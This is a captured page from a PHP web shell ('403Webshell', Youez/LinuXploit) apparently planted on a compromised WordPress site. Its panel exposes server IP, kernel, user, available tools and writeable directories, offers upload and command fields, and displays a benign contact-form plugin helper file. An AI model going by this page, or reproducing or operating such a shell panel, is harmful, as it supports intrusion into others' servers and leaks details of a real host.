403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.64
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/2of3/wp-content/plugins/93hok24o/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/2of3/wp-content/plugins/93hok24o/includes/functions.php
<?php

/**
 * Helpers library functions
 *
 * @since      0.0.1
 *
 * @package    Wtsr
 * @subpackage Wtsr/includes
 */

if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * @version 0.0.1
 * @since   0.0.1
 * @return  bool
 */
function cf7cstmzr_is_plugin_activated( $plugin_folder, $plugin_file ) {
    if ( cf7cstmzr_is_plugin_active_simple( $plugin_folder . '/' . $plugin_file ) ) {
        return true;
    } else {
        return cf7cstmzr_is_plugin_active_by_file( $plugin_file );
    }
}

/**
 * @version 0.0.1
 * @since   0.0.1
 * @return  bool
 */
function cf7cstmzr_is_plugin_active_simple( $plugin ) {
    return (
        in_array( $plugin, apply_filters( 'active_plugins', get_option( 'active_plugins', array() ) ) ) ||
        ( is_multisite() && array_key_exists( $plugin, get_site_option( 'active_sitewide_plugins', array() ) ) )
    );
}

/**
 * @version 0.0.1
 * @since   0.0.1
 * @return  bool
 */
function cf7cstmzr_is_plugin_active_by_file( $plugin_file ) {
    foreach ( cf7cstmzr_get_active_plugins() as $active_plugin ) {
        $active_plugin = explode( '/', $active_plugin );

        if ( isset( $active_plugin[1] ) && $plugin_file === $active_plugin[1] ) {
            return true;
        }
    }

    return false;
}

/**
 * @version 0.0.1
 * @since   0.0.1
 * @return  array
 */
function cf7cstmzr_get_active_plugins() {
    $active_plugins = apply_filters( 'active_plugins', get_option( 'active_plugins', array() ) );
    if ( is_multisite() ) {
        $active_plugins = array_merge( $active_plugins, array_keys( get_site_option( 'active_sitewide_plugins', array() ) ) );
    }
    return $active_plugins;
}

/**
 * @param $notice
 * @param $level
 */
function cf7cstmzr_show_notice($notice, $level) {
    include_once CF7CSTMZR_PLUGIN_PATH . 'admin/partials/notices' . $notice . '.php';
}

Youez - 2016 - github.com/yon3zu
LinuXploit